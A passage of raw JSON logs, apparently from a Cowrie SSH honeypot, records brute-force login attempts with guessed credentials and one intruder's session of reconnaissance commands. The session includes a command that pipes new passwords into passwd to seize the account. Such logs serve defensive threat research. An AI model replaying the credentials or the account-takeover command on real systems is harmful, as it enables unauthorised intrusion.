penssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:04.073131Z","src_ip":"103.158.40.65","session":"e92dc5379f7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:04.961734Z","src_ip":"103.158.40.65","session":"e92dc5379f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:06.183513Z","src_ip":"103.158.40.65","session":"e92dc5379f7e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:06.452450Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:06.455630Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:06.682002Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:07.162678Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2019\\nOleGbGpoC9s4\\nOleGbGpoC9s4\"|passwd|bash","message":"CMD: echo -e \"admin2019\\nOleGbGpoC9s4\\nOleGbGpoC9s4\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:07.166343Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:07.170391Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:07.174161Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/580a2846ec1fdbfb688b655d434fec0e22fb79c6c8ccd1c630ff4390038d35ba","size":32,"shasum":"580a2846ec1fdbfb688b655d434fec0e22fb79c6c8ccd1c630ff4390038d35ba","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/580a2846ec1fdbfb688b655d434fec0e22fb79c6c8ccd1c630ff4390038d35ba after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:07.401671Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:07.898927Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2019\\nOleGbGpoC9s4\\nOleGbGpoC9s4\\n\"|passwd","message":"CMD: echo \"admin2019\\nOleGbGpoC9s4\\nOleGbGpoC9s4\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:07.902144Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/06e5148593fd1a4738284ba3c64e4b2045f688206049b088697dcb3c317b998c","size":25,"shasum":"06e5148593fd1a4738284ba3c64e4b2045f688206049b088697dcb3c317b998c","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/06e5148593fd1a4738284ba3c64e4b2045f688206049b088697dcb3c317b998c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:08.130049Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:08.660488Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:08.692436Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:08.916192Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:09.418359Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:09.421961Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:09.649545Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:10.149037Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:10.151942Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:10.154755Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:10.379914Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:10.869222Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:10.872134Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:11.097579Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:11.579993Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:11.583424Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:11.810765Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:12.304683Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:12.307969Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:12.536499Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:13.024703Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:13.028623Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:13.253733Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:13.754414Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:13.758253Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:13.982793Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:14.467938Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:14.471498Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:14.697275Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:15.203110Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:15.207170Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:15.436747Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:15.920064Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:15.922991Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:16.148785Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:16.662220Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:16.665975Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:16.893335Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":37396,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0816f7d2d1","protocol":"ssh","message":"New connection: 101.36.106.162:37396 (10.17.0.5:22) [session: 4e0816f7d2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:16.917470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:16.921442Z","src_ip":"101.36.106.162","session":"4e0816f7d2d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:17.140723Z","src_ip":"101.36.106.162","session":"4e0816f7d2d1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:17.420438Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:17.424658Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:17.653543Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.2","message":"Connection lost after 19.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:17.660333Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PassW0rd","message":"login attempt [ubuntu/PassW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:18.084329Z","src_ip":"101.36.106.162","session":"4e0816f7d2d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:19.305932Z","src_ip":"101.36.106.162","session":"4e0816f7d2d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":38774,"dst_ip":"159.203.135.109","dst_port":22,"session":"b052fc4eb4a9","protocol":"ssh","message":"New connection: 201.6.100.191:38774 (159.203.135.109:22) [session: b052fc4eb4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:22.299484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:22.304878Z","src_ip":"201.6.100.191","session":"b052fc4eb4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":[